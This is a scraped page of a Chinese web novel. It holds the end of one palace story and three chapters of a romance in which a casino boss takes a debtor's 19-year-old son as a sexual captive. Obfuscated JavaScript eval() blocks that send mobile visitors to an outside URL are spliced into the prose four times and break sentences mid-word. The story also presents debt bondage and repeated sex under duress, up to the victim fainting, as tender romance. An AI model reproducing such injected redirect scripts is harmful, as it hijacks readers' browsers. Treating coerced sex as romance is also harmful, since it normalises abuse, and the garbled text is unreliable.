严洛不知什么时候站在廊下,怀里抱着一本小册子,安安静静开口: “王兄上朝处理朝政,从早到晚,一刻不误。 只有回殿里才歇片刻,挽公子陪王兄说说话,解解乏,何错之有?” 太妃一愣,没料到一个八岁小郡主敢插嘴: “小孩子家家,懂什么朝政后宫。” 严洛抬眸,眼神平静得吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261107|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人: “我懂规矩。 王兄才是君王,他护着谁、宠着谁,轮不到旁人置喙。 太妃若是闲得慌,不如回去抄抄佛经,少管王兄的事,还能多活几年。” 太妃脸色瞬间惨白:“你——!” 挽清风在旁边看得眼睛发亮,差点拍手叫好。 他慢悠悠走过去,往严洛身边一站,浅碧眼一弯,阴阳怪气立刻跟上: “哎哟,太妃别动气。 小郡主还小,就是说了点实话而已。 您说我耽误朝政,可殿下最近国泰民安,风调雨顺; 您说我霸占君王,可殿下连后宫门都不踏。 您这么着急,是……寂寞了?” 严洛在旁边淡淡补刀: “太妃是觉得,王兄杀人杀得不够多吗。” 太妃:“……” 一口气没上来,差点晕过去。 两人一唱一和,一个清冷扎心,一个阴阳怪气,搭配得天衣无缝。 等太妃狼狈不堪地跑了,挽清风才低头看向严洛,拍了拍她的头: “可以啊小丫头,嘴比我还毒。” 严洛抬头,一脸平静: “骂你,就是骂王兄。 骂王兄,就是跟我过不去。” 挽清风乐了:“你这逻辑,我喜欢。” 傍晚严尊谨回来,一进门就觉得气氛不对。 挽清风靠在榻上吃葡萄,严洛坐在一旁安安静静看书,一大一小都心情极好。 严尊谨挑眉:“发生什么了?” 挽清风丢一颗葡萄进嘴里,笑得纯良: “没什么,就是帮太妃反省了一下人生。” 严洛抬头,简洁汇报: “有人骂挽公子,我们把她骂走了。” 严尊谨:“……” 他走过去,无奈又宠溺地捏了捏挽清风的脸: “你到是有人撑腰了,越发无法无天。” 挽清风挑眉,理直气壮: “那是。 以前我孤身一人,只能装温顺。 现在殿下护着我,小郡主帮着我,我再不嘴硬一点,岂不是太亏了?” 严尊谨看向严洛:“你不怕他?” 严洛低头继续看书,语气平静: “挽公子很好。 他不装,不害人,不欺负人,只是不让别人欺负自己。” 她顿了顿,淡淡道: “比宫里所有人都干净。” 挽清风听到这话,愣了一下。 长这么大,第一次有人用“干净”形容他。 严尊谨看着眼前这一幕,心口软成一片。 他曾经孤苦无依,双手染血,以为一生只能做孤家寡人。 如今—— 有了失而复得的光,有了安稳度日的妹妹,有了一个真正像家的地方。 他伸手,把挽清风拉进怀里,又对严洛轻声道: “以后这里,就是你们的家。” 挽清风靠在他怀里,阴阳怪气习惯性上线: “哟,殿下今天这么会说话。 是怕我和小郡主联手,把你架空了?” 严洛头也不抬: “不会。 王兄乐意被你架空。” 严尊谨低笑出声,胸腔震动,暖得一塌糊涂: “是,我乐意。” 窗外夕阳落下,暖光铺满大殿。 12. 陆漠心年·一 冰冷的大理石地面硌着膝盖,李意年被两名黑衣保镖死死按在肩头,半分动弹不得。 大厅里弥漫着浓郁的雪茄味与冷冽的木质香调,光线昏沉,头顶水晶灯的光芒折射下来,却照不进这片藏在阴影里的地狱。 他垂着头,蓬松卷曲的头发乱糟糟地覆在额前,像只被扼住脖颈、无处可逃的小狮子,软毛下藏着的,是早已被生活磨得麻木的眉眼。 十九年的人生,在半个月前彻底崩塌。 父亲赌输九千万,留下一纸遗书纵身跃下,母亲卷走家里最后一点钱连夜出走,所有债务,像一座千斤大山,硬生生砸在了他一个刚成年的孩子身上。 追债的人踏破了出租屋的门,他被像拖死狗一样拖到这里,带到这座城市所有人闻之色变的——陆厌面前。 前方真皮沙发上,坐着一个身形极其挺拔的男人。 192cm的身高让他即便慵懒地靠着,也自带一股碾压一切的压迫感。 陆厌指尖夹着一支未点燃的雪茄,轮廓锋利如刀削,眉眼深邃桀骜,瞳色偏冷,扫过来时,像是淬了冰的刀锋,直直扎进人的骨血里。他生得极美,却是极具攻击性的俊美,矜贵又狠戾,生人勿近的气场让整个大厅的空气都凝固了。 李意年的心跳在胸腔里乱撞,喉咙发紧,生理性的泪水不受控制地漫上眼眶——他天生爱哭,哪怕怕到极致,也只会默默掉眼泪,隐忍得像个不会反抗的玩偶。 按在他肩上的力道松了松,保镖低声恭敬道:“陆少,人带来了。” 空气静了几秒。 陆厌的目光,从头到脚,缓缓落在李意年身上。 蓬松的小卷毛软乎乎地支棱着,像只温顺又可怜的幼狮,眉眼干净得一尘不染,眼尾微微下垂,盛满了无措与无辜,鼻梁精致,唇瓣粉嫩,整张脸线条柔和得不像话,是漫画里走出来的甜弟,软萌得让人指尖发痒。 就是这张脸。 一眼,就精准戳中了陆厌藏在心底最深处、幻想过无数次的模样。 他的梦中情人,他的理想型,就这么狼狈地跪在他面前,泪眼汪汪,任人宰割。 陆厌薄削的唇线微勾,笑意却未达眼底,冷漠偏执的眼神里,翻涌着不易察觉的占有欲。他不需要拐弯抹角,对他而言,想要的东西,直接抢过来锁在身边就好。 低沉磁性的嗓音,在空旷的大厅里响起,带着不容置喙的霸道,直白又残忍,砸在李意年的心上。 “你父亲欠我赌场,九千万。” 李意年的肩膀猛地一颤,泪水顺着脸颊滑落,砸在冰冷的地面上,晕开一小片湿痕。他麻木地听着,早已没了任何挣扎的力气。 “人没了,债,你还。” 陆厌微微倾身,居高临下地看着他卷毛下颤抖的睫毛,眼神愈发幽深,那是猎手盯上猎物的势在必得。 “你没工作,没背景,一辈子都还不清。” “我给你条路。” 每一个字,都像钉子,钉进李意年的四肢百骸。他死死咬着下唇,粉嫩的唇瓣被咬出浅浅的齿痕,隐忍的哭声闷在喉咙里,不敢发出半点声音。 陆厌看着他这副委屈又乖巧的模样,心底那点隐秘的温柔与病态的掌控欲,瞬间翻涌上来。他要的不是钱,是这个人。 他缓缓开口,直白得近乎赤裸,狠戾又霸道,将最后一层遮羞布狠狠撕碎。 “陪我睡一晚。” “十万。” 李意年猛地抬头,那双湿漉漉的下垂眼睁得大大的,满是震惊、屈辱,还有深入骨髓的绝望。蓬松的卷毛因为动作轻轻晃动,更显可怜软萌。 九千万。 一晚十万。 他要把自己卖在这里,卖九百个夜晚。 卖给眼前这个冷漠偏执、势力滔天的男人。 陆厌看着他泫然欲泣的样子,心头微动,面上却依旧冷硬,语气带着不容拒绝的强势,将他彻底锁进自己编织的囚笼里。 “不同意,现在就可以去给你父亲收尸。” “同意,从今天起,你留在我身边,债,慢慢还。” 冷风从落地窗缝隙钻进来,拂过李意年颤抖的卷毛,也拂过他早已破碎的尊严。 他张了张嘴,发不出任何声音,只有眼泪,无声地汹涌而下。 麻木,绝望,隐忍。 最终,他像一只彻底认命的小兽,缓缓低下了头,蓬松的头顶对着陆厌,发出一声细若蚊蚋、带着哭腔的回应。 “……我同意。” 陆厌指尖轻轻敲击着沙发扶手,眼底掠过一丝满意的占有欲。 他的人,终于到手了。 那句带着哭腔的“我同意”刚落,按在李意年肩头的保镖便立刻松了手,躬身退至角落,连呼吸都放得极轻。 偌大的贵宾厅里,只剩下他和居高临下的陆厌。 李意年还跪在冰凉的大理石上,蓬松的卷毛耷拉着,像被雨水打湿的幼狮,浑身都透着无力的顺从。他不敢抬头去看那双淬着冰与火的眼,只能死死盯着地面纹路,指尖攥得发白,隐忍的眼泪一颗接一颗砸在手背上,烫得发疼。 陆厌缓缓起身。 192cm的身形投下浓重的阴影,将瘦小的他整个人笼罩其中,压迫感像潮水般裹住四肢,让他连呼吸都变得困难。男人的脚步很慢,皮鞋碾过地面的声音,每一下都敲在他紧绷的神经上。 直到一双黑色手工皮鞋停在他眼前,李意年的肩膀猛地一颤。 下颌突然被一只温热却力道极重的手捏住,强行抬了起来。 陆厌的指腹粗糙,带着不容反抗的狠劲,指节微微用力,便让他不得不直面那双深邃桀骜的眼眸。男人的轮廓近在咫尺,锋利冷硬,俊美得极具攻击性,视线落在他泛红的眼尾、粉嫩的唇瓣上,翻涌着偏执到极致的占有欲。 “哭什么。”陆厌的声音低沉沙哑,带着点不耐,却又藏着一丝连他自己都未察觉的缱绻,“我又不会吃了你。” 可他眼底的野性与强势,比吃了他更让人恐惧。 李意年咬着唇,不敢哭出声,下垂的眼里盛满了无措,模样软得让陆厌心口发紧。这张脸,完完全全踩在他所有喜好上,可怜、软萌、干净,像一只天生就该被他锁在身边的宠物。 陆厌没再说话,只是松了手,偏头对暗处的佣人冷声道:“带他去洗澡,换我准备好的衣服。” 李意年被佣人领着,走进了里间奢华到极致的浴室。 恒温的水流冲过身体,却暖不透他心底的寒意。他麻木地站在花洒下,任由热水打湿蓬松的卷毛,湿漉漉的卷发贴在脸颊旁,更显得他眉眼柔弱无辜。他不想洗,却不敢反抗,从踏进这里的那一刻起,他就不再是自己。 洗完后,佣人递过来一套衣服。 不是他惯穿的宽松T恤与运动裤,而是修身的真丝睡衣,料子轻薄贴身,勾勒出他清瘦的线条,颜色是极浅的米白色,衬得他皮肤愈发白皙,却也让他浑身不自在。他攥着衣角,局促地站在原地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261108|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸颊发烫,打心底里排斥这套过于贴身、近乎暴露的衣服。 可佣人只是垂着眼,语气恭敬却不容置喙:“陆少吩咐的,必须穿。” 李意年最终还是认命地换上。 布料贴着皮肤,每一寸都让他觉得羞耻难耐,他低着头,像个被摆弄的玩偶,被佣人重新带回了卧室。 这间卧室极大,装修冷硬暗黑,处处透着主人的强势与寡情,只有大床柔软得过分,形成一种诡异的反差。 陆厌已经卸了外套,只着一件黑色衬衫,袖口挽到手肘,露出线条流畅、力道感十足的手臂。他靠在床头,抬眼看向门口的少年,目光骤然一沉。 湿软的卷毛贴在额前,干净的眉眼带着水汽,眼尾依旧泛红,一身轻薄的睡衣将他衬得愈发软嫩甜糯,像一颗剥了壳的荔枝,脆弱得一捏就碎。 陆厌的喉结滚动了一下。 是他的。 只能是他的。 “过来。” 简单两个字,带着绝对的命令,语气冷硬,力道十足。 李意年的脚像灌了铅,一步一步,挪得极慢。他害怕,却无处可逃,九千万的债像锁链,把他牢牢拴在了这个男人面前。 刚走到床边,手腕突然被一只大手扣住。 陆厌的力道极猛,根本不是他能挣脱的范围,只轻轻一拽,李意年便重心不稳,跌落在柔软的床垫上。他惊呼一声,蓬松的卷发散乱开来,还没来得及反应,男人高大的身躯便压了下来,将他彻底圈在方寸之间。 压迫感瞬间封顶。 陆厌的气息将他完全包裹,冷冽的木质香混着淡淡的烟草味,霸道地侵占他所有感官。他的动作不温柔,甚至带着狠戾的急切,手掌扣着他的腰肢,力道重得像是要将他嵌进自己骨血里,完美诠释了什么是偏执又凶猛的占有。 李意年疼得瑟缩了一下,眼泪又涌了上来,却只能死死咬着唇,隐忍地闷哼。他不敢推,不敢躲,麻木地承受着男人强势到近乎粗暴的触碰与禁锢。 陆厌看着他眼眶通红、乖乖顺从的样子,心底那点隐秘的温柔终于压过了狠戾。他的动作依旧很猛,带着不容拒绝的掌控欲,每一下都在宣告所有权,可指尖划过他颤抖的脊背时,却又不自觉地放轻了半分力道。 他要的从来不是一晚的交易。 他要的,是把这只软乎乎的小狮子,永远锁在身边,刻上他的印记,再也逃不掉。 李意年闭着眼,眼泪无声滑落,浸湿了枕巾。 窗外的夜色浓得化不开,卧室里只有压抑的呼吸与少年细碎的哽咽。 这一夜,漫长如一生。 长到李意年觉得自己像一叶漂在海里的孤舟,被浪头反复推着,无处落脚。他全程都很乖,乖得让人心疼,哭也只是小声地抽气,肩膀微微发抖,像只受了伤却不敢叫的小动物。 陆厌的动作带着不容抗拒的强势,偏执地将他圈在怀里,占有欲几乎要溢出来。眼底深处是藏得极好的隐秘温柔。 他用自己的身体,签下了一张永远还不清的契约,坠入了陆厌为他编织的、名为占有囚笼。 天快亮时,李意年已经累得睁不开眼,蜷缩在柔软的床里,湿卷毛乱糟糟地铺在枕头上,眼角还挂着未干的泪痕,睡得不安稳,眉头轻轻皱着。 陆厌侧躺着,居高临下地看着他。 指尖轻轻拂过他下垂的眼尾,划过精致的鼻梁,最后停在粉嫩的唇上,动作轻得不可思议,与平日里狠戾霸道的模样判若两人。 13. 陆漠心年·二 天刚蒙蒙亮,浅淡的天光透过厚重的窗帘缝隙钻进来,在地毯上投下一道细弱的光痕。 李意年是在一阵钝痛里醒过来的。 浑身像被重型机器碾过,每一寸骨头都在发酸发软,连抬手的力气都没有。他蜷缩在宽大的床里,蓬松的卷毛乱糟糟地贴在脸颊和颈间,睫毛上还沾着昨夜未干的泪痕,眼尾红得厉害,唇瓣也泛着不正常的粉嫩。 身边的位置已经空了。 残留的温度还未完全散去,带着陆厌身上那股冷冽的木质香气,提醒着他昨夜发生的一切不是噩梦。 李意年把脸埋进柔软的枕头里,用力闭了闭眼。 麻木。 从父亲跳楼、母亲离开、被带到赌场、再到昨夜……他的情绪早就被一刀刀割得麻木,只剩下空洞的隐忍。想哭,却好像连眼泪都在前半夜流干了,只剩下干涩的眼眶和心口沉甸甸的窒息感。 他不敢动,就那么缩在床的最边缘,像一只不小心闯入猛兽领地的幼兽,连呼吸都小心翼翼。 卧室门被轻轻推开。 陆厌走了进来。 他已经换了一身黑色高定西装,一丝不苟的剪裁衬得他身形愈发挺拔修长,轮廓冷硬深邃,周身那股生人勿近的强势气场比昨夜更甚。只是那双素来冷戾的眼眸,在看向床上缩成一团的小卷毛时,不易察觉地暗了暗。 昨夜的画面不受控制地在脑海里翻涌。 少年颤抖的睫毛、泛红的眼尾、压抑到极致的细碎哽咽、还有被他攥在掌心间纤细脆弱的手腕……每一幕,都精准戳在他心底最柔软的地方。 他是猛,是霸道,是偏执到恨不得把人嵌进骨血里。 可看着李意年这副一碰就碎的模样,他心底那点连自己都厌恶的隐秘温柔,还是不受控制地冒了出来。 李意年听到脚步声,身体瞬间绷紧,连呼吸都停了半拍。 他不敢抬头,只能死死盯着身下的床单,指尖无意识地攥紧被褥,指节泛白。 陆厌在床边站定,居高临下地看着他。 少年穿着他准备的那身米白色真丝睡衣,领口松垮,露出一小片白皙细腻的皮肤,上面零星散落着几处浅红印记,蓬松的卷毛软乎乎地支棱着,整个人看起来又乖又可怜,像被欺负狠了的小狮子。 陆厌喉结微微滚动了一下。 他伸手,大掌直接覆上李意年的头顶。 掌心温热,力道不算轻,带着惯有的强势,指腹穿过柔软的卷发,不轻不重地揉了揉。 动作算不上温柔,甚至有些粗鲁,却藏着他独有的、别扭的安抚。 李意年浑身一颤,吓得连动都不敢动,只敢把脸埋得更深,心脏在胸腔里慌乱地跳着。 “醒了就起来。”陆厌的声音依旧低沉冷硬,听不出太多情绪,只有他自己知道,语气里已经不自觉地放软了几分,“洗漱完下楼吃饭。” 李意年没敢应声,只轻轻点了下头,细微的动作几乎难以察觉。 陆厌看着他这副胆小又隐忍的样子,眉头几不可查地皱了皱。 他不喜欢李意年这么怕他。 可他又享受这种绝对的掌控感。 矛盾的情绪在心底翻涌,最终只化作一句更显强势的命令: “以后,住在这儿。” 李意年的动作猛地顿住。 住在这儿……住在陆厌的身边。 那不是一晚,是长久的、看不到尽头的囚禁。 九千万的债,像一条无形的锁链,从昨夜开始,就已经把他牢牢锁在了这个男人身边。 他没有反驳的资格,更没有拒绝的权利。 李意年把脸埋得更深,温热的眼泪终于又忍不住悄无声息地浸湿了枕头。 他没说话,可那微微颤抖的肩膀,已经说明了一切。 陆厌看着他无声落泪的模样,心口莫名一闷。 他向来狠戾决绝,从不屑于对谁温柔,可对着眼前这个卷毛软萌的少年,他所有的冷漠和霸道,都像是打在了一团棉花上。 他烦躁地松了手,收回目光,语气恢复了惯有的冷硬: “我在楼下等你。别让我重复第二遍。” 话音落下,他转身离开。 房门被轻轻关上。 卧室里重新恢复了安静。 李意年才缓缓抬起头,湿漉漉的下垂眼里满是绝望和无措。 他看着空旷的房间,看着身上不属于自己的睡衣,感受着浑身散不去的、属于陆厌的气息。 他知道。 从昨夜开始,从他点头答应的那一刻起。 他的人生,就再也由不得自己了。 他是陆厌用九千万买下的人。 下楼时,客厅里静得只能听见落地钟的轻响。 巨大的大理石餐桌旁,陆厌已经坐在主位。他单手支着额角,指尖轻叩桌面,周身气场冷冽,明明只是安静坐着,却自带一股让人不敢靠近的压迫感。 听见脚步声,他抬眼望来。 李意年站在楼梯口,脚步顿住。 佣人已经给他找了一身相对保守的黑色针织衫和长裤,宽松布料勉强遮住满身痕迹,可一想到昨夜,他还是控制不住地浑身发紧,垂在身侧的手微微蜷起。蓬松的卷毛被简单梳理过,依旧软乎乎的,衬得那张脸愈发无辜乖巧。 “站在那里做什么。” 陆厌的声音不高,却带着不容置疑的命令感。 李意年咬着下唇,低着头,一小步一小步挪到餐桌另一端,刚想坐下,就听见男人冷声道:“过来。” 他指尖一颤,不敢违逆,只能乖乖走到陆厌旁边的位置。 刚坐下,面前就被推过来一碗温热的粥。 陆厌没看他,只淡淡吩咐:“喝了。” 粥香很淡,却暖得刺人。李意年长到十九岁,除了早已疏远的父母,从没有人这样对他。可这份好,来自于用九千万把他困住的人,来得太过沉重,让他不敢接受,也无法心安理得。 他拿起勺子,小口小口地喝,动作轻得像怕打碎什么。 陆厌余光一直落在他身上。 少年垂着眼,长睫毛轻轻颤动,卷毛软趴趴地贴在额角,侧脸线条干净柔和,连吃饭都安安静静,隐忍又温顺。和他平日里接触的那些狠角色、逢迎的人完全不同,李意年干净得像一捧雪,一碰就化,却偏偏勾得他只想牢牢攥在手里。 “慢点,没人跟你抢。” 陆厌开口,语气依旧偏冷,却少了几分戾气。 李意年手一顿,更低了低头,喉咙发紧,眼泪差点又掉进碗里。他赶紧吸了口气,把情绪硬生生憋回去。 他不敢哭。 不敢闹。 不敢有任何多余的表情。 陆厌看着他这副憋得眼眶发红、却硬是一声不吭的样子,心口莫名一躁。 他习惯了用强势和狠戾解决一切,可面对李意年,他那些手段全都用不上——他舍不得把这人吓碎,又控制不住地想把他锁死在身边。 男人沉默着,把盘子里煎得刚好的蛋夹到他碗里,动作算不上轻,甚至有点生硬。 “吃。” 李意年愣了一下,抬头飞快看了他一眼,又立刻低下头,小声应了一个字:“……嗯。” 那声音又软又细,带着点未散的哑,像一根细毛,轻轻扫过陆厌的心尖。 陆厌喉结滚了一下,移开视线,语气恢复了惯有的霸道:“从今天起,你留在赌场上班,待在我看得见的地方。” “别想着跑。” 他顿了顿,声音压得更低,带着偏执的占有欲: “你整个人都是我的,跑到哪儿,我都能把你抓回来。” 李意年握着勺子的手猛地收紧,指节泛白。 待在看得见的地方。 不是照顾,不是收留。 是看管。 他安静地吃着东西,一口一口,味同嚼蜡。 阳光透过落地窗落在他卷毛上,映出浅浅的柔光,看上去甜软又无害。 只有李意年自己知道。 从这顿早餐开始,他正式走进了陆厌的牢笼。 没有尽头,没有退路。 赌场入夜才最喧嚣。 霓虹闪烁,人声鼎沸,筹码碰撞的清脆声响混着暧昧的灯光,弥漫在每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261109|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个角落。这里是欲望的深渊,是陆厌一手掌控的灰色王国,每一寸空气里都写着强势与危险。 李意年跟在陆厌身后,紧紧攥着衣角,低着头,不敢四处乱看。 他本以为自己会被安排去端茶倒水、打扫卫生,或是在某个角落做些杂活。可没想到,陆厌直接带着他,穿过喧闹的大厅,一路走进了最深处、戒备最森严的总裁办公室。 办公室极大,装修冷硬暗黑,巨大的落地窗可以俯瞰整个赌场全景,办公桌宽得惊人,处处透着主人的霸道与疏离。 陆厌往宽大的真皮座椅上一坐,指尖轻敲桌面,抬眼看向站在门口、局促不安的少年。 蓬松的卷毛,干净的眉眼,下垂的眼睛里满是无措,一身简单的衣服也遮不住那股软萌甜弟的气质,和外面纸醉金迷的环境格格不入。 越看,越合心意。 “过来。” 李意年乖乖走上前,心跳得飞快。 陆厌指了指办公桌旁、紧挨着他位置的一张小沙发,语气平淡,却带着不容置疑的命令: “以后,你就待在这里。” 李意年一愣。 待在……陆厌的办公室里? “不用去做别的事,”陆厌看着他茫然的样子,薄唇微启,直白又霸道,“就在我看得见的地方待着。” 不用端茶,不用倒水,不用干活,只要安安静静待在他身边。 说白了—— 就是把他当成了摆在办公室里的专属吉祥物。 一只只属于他陆厌的、软萌可怜的小狮子吉祥物。 李意年怔怔地坐在那张小沙发上,浑身不自在。 他像个摆设,一个被精心摆放的物件,只要安安静静待着,满足身边这个男人的占有欲与掌控欲就好。 陆厌处理公务时,气场冷冽,眉眼深邃,打电话时语气狠戾,每一个指令都带着不容反抗的强势,手下的人在电话那头连大气都不敢喘。 可只要一抬眼,看到沙发上安安静静缩着的小卷毛,他眼底的戾气就会不自觉地淡去几分。 李意年不敢玩手机,不敢乱动,就那么乖乖坐着,蓬松的卷毛耷拉着,像只被圈养的温顺幼兽。偶尔累了,会轻轻揉一下手腕,或是悄悄抿一下还有点发疼的唇,动作又软又乖。 陆厌的余光,几乎全程黏在他身上。 别人的办公室摆的是古董、名画、奖杯。 他陆厌的办公室,只摆李意年。 中途有高管敲门进来汇报工作,一进门,就看到了沙发上坐着的少年。 干净、软萌、像漫画里走出来的甜弟,在这满是戾气的办公室里,显得格外惹眼。 那高管下意识多看了两眼。 就这两眼。 陆厌放在桌面上的手,瞬间一顿。 周身的温度骤然下降,冷冽的视线如同刀锋般扫过去,带着毫不掩饰的警告与占有欲:“看够了?” 语气平淡,却吓得那高管立刻低下头,后背瞬间被冷汗浸湿,连声道:“陆少,对不起,我——” “滚出去。” 两个字,冷得刺骨。 高管连话都不敢多说,仓皇躬身退了出去,门都被吓得轻轻抖了一下。 办公室里重新恢复安静。 李意年也被刚才那股骇人的气场吓得肩膀一颤,怯怯地抬眼看了陆厌一眼,又飞快低下头。 陆厌收回视线,看向他时,眼底的冰冷瞬间褪去,取而代之的是深沉的、偏执的温柔。 他缓缓开口,语气低沉,带着独有的霸道宣告: “以后,除了我,谁都不能多看你一眼。” “你是我的。” “只能是我的。” 李意年蜷缩在小沙发里,指尖紧紧攥着衣角。 他终于明白。 自己不是来还债的,不是来打工的。 他是陆厌锁在办公室里的私有吉祥物。 看不见就不安心,碰一下就发疯,谁多看一眼都不行。 窗外的霓虹映在少年干净的侧脸上,明明被人捧在视线中央,却像被关进了一座,镶着金边的华丽囚笼。 14. 陆漠心年·三 两个多月,像一场醒不过来的漫长梦魇。 李意年的日子被切割成两半。 白天,他是陆厌办公室里安安静静的吉祥物,缩在那张固定的小沙发上,不吵不闹,不添乱不说话,像个精致又温顺的摆件。陆厌处理公务、见人、发号施令,他就安安静静待在视线里,只要陆厌一抬眼能看见他,男人就会莫名安分很多。 夜里,他是陆厌唯一的枕边人。 陆厌的占有欲向来凶猛,力道重,性子急,带着刻进骨里的偏执,每一次都近乎要把他揉碎在怀里。他从不问李意年愿不愿意,只凭着自己的心意,把人牢牢锁在身边,一遍一遍地确认归属。 李意年轻易不反抗,也不表达。 麻木,隐忍,习惯承受。 可身体不会骗人。 再软的性子,再能忍的人,也扛不住日复一日、几乎没有停歇的占有。他本就清瘦,体力差,情绪长期压抑,两个多月下来,眼底的青黑越来越重,脸色也少了之前那种干净的透亮,多了层挥之不去的疲惫。 他常常坐着坐着就走神,卷毛软塌塌地搭在额前,眼神放空,整个人轻飘飘的,像随时会被风吹走。 陆厌不是没察觉。 只是他习惯用自己的方式理解—— 乖,安静,听话,离不开他了。 他把这一切当成顺从,心安理得地把人留在身边,变本加厉地霸占。 这天夜里,和无数个夜晚一样。 卧室只开了盏昏暖的壁灯,暖光落在少年苍白泛红的脸上,蓬松的卷发被汗水打湿,软趴趴地贴在颈侧。陆厌的力道依旧强势,带着不容拒绝的占有,手掌扣着他的腰,近乎蛮横地宣告所有。 李意年的意识早就开始涣散。 浑身又酸又软,连指尖都抬不起来,耳边嗡嗡作响,眼前一阵阵发黑。 他太困了,太累了,累得连哭的力气都没有。 陆厌低头,看见他眼尾泛红,长睫毛湿湿地颤抖,嘴唇被咬得微微发颤,却依旧一声不吭,只是安静地承受。 这副模样,只会让本就克制不住的男人更加失控。 就在某一瞬间,李意年眼前彻底一黑。 所有声音、触感、温度,一起抽离。 他像一片失重的羽毛,轻轻往下坠,无声无息,彻底失去了意识。 身上的动静骤然停了。 陆厌的动作僵在原地。 怀里的人安安静静的,没有半点挣扎,连细微的喘息都消失了。 他心头猛地一沉,那股子掌控一切的淡定第一次裂开一道缝隙。 他伸手,指尖微微用力,托起李意年的脸。 少年闭着眼,睫毛安静地垂着,脸色白得近乎透明,呼吸轻得几乎感觉不到,整个人软得像没有骨头,彻底失去了反应。 陆厌的瞳孔骤然一缩。 生平第一次,这位在灰色地带翻手为云覆手为雨、从来不知道怕字怎么写的男人,心口炸开了一层冰冷的慌。 他不是怕别的。 是怕怀里这个他捧在视线里、锁在身边、刻了自己印记的小卷毛,就这么—— 没了。 “李意年。” 陆厌开口,声音竟带上了一丝自己都没察觉的紧绷。 没有回应。 他伸手摸了摸他的脉搏,又探了探呼吸,都弱得可怜。 直到确认只是晕过去,没有别的危险,他那颗悬到极致的心,才重重砸回胸口。 黑暗里,陆厌沉默地看着怀里昏过去的少年。 蓬松凌乱的卷毛,苍白的小脸,还带着未褪尽的红痕,整个人脆弱得一折就断。 两个多月。 他只顾着把人锁在身边,只顾着满足自己的占有欲,只顾着享受这只小狮子只属于他一个人的顺从。 从来没想过—— 他会累。 会扛不住。 会在他怀里,安安静静地,晕过去。 陆厌缓缓收紧手臂,把人紧紧抱在怀里。 动作不再凶猛,不再霸道,而是一种近乎笨拙的、压抑的轻。 他低头,额头抵着李意年汗湿的卷发,声音低沉沙哑,带着一丝连自己都厌恶的慌乱。 “……笨死了。” “不舒服,不会说吗。” 怀里的人毫无回应,睡得昏沉,眉头还轻轻皱着,带着挥之不去的疲惫。 陆厌就这么抱着他,一夜未眠。 窗外的霓虹亮了又暗,赌场的喧嚣隔着墙壁远远传来。 而这间卧室里,那个向来狠戾霸道、阴晴不定的男人,第一次放下了所有锋芒。 只是安静地、小心翼翼地,抱着他累到晕厥的小吉祥物。 他终于模糊地意识到—— 他要的从来不是把他用坏。 而是把他,好好留在身边。 第六章笨拙的温柔 李意年醒过来的时候,天光已经大亮。 浑身的酸痛比以往任何一次都要清晰,骨头像是散了架,连睁眼都觉得费力。他茫然地盯着天花板好一会儿,混乱的意识才慢慢回笼—— 昨晚,他晕过去了。 在陆厌怀里,毫无预兆地,直接失去了知觉。 心跳猛地一慌,他下意识想坐起来,手腕却被轻轻按住。 陆厌就坐在床边,黑衬衫袖口挽着,平日里冷戾桀骜的眉眼,此刻竟压着几分难以察觉的紧绷。见他睁眼,男人眼底飞快掠过一丝松快,嘴上却依旧没什么温度:“别动。” 李意年乖乖躺回去,卷毛乱糟糟地支棱着,眼神怯怯的,不敢看他。 他怕陆厌生气。 怕自己晕过去坏了兴致,怕迎来更凶的对待。 可陆厌什么也没做,只是伸手,手背轻轻贴了贴他的额头,又滑到脸颊。动作很轻,和以往那种霸道强势的触碰完全不同。 “有没有哪里难受?” 低沉的嗓音里,少了平日的狠戾,多了点不易察觉的试探。 李意年愣了愣,小声嗫嚅:“……没、没有。” “没有?”陆厌眉峰一压,语气沉了几分,却不是生气,更像无奈,“晕过去之前,怎么不说?” 少年嘴唇抿成一条浅粉的线,低下头不说话。 说什么? 说他累? 说他扛不住? 他从一开始就没有说不的资格。 陆厌看着他这副隐忍又委屈的模样,心口堵得发闷。 他活了二十四年,向来想要什么就抢,想做什么就做,狠戾霸道,从不在乎别人感受。 可对着眼前这个一碰就碎、累晕了都一声不吭的人,他那套横行惯了的逻辑,第一次失效了。 他怕把人弄坏。 怕这只软乎乎的小狮子,真的被他折腾没了。 “躺着。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 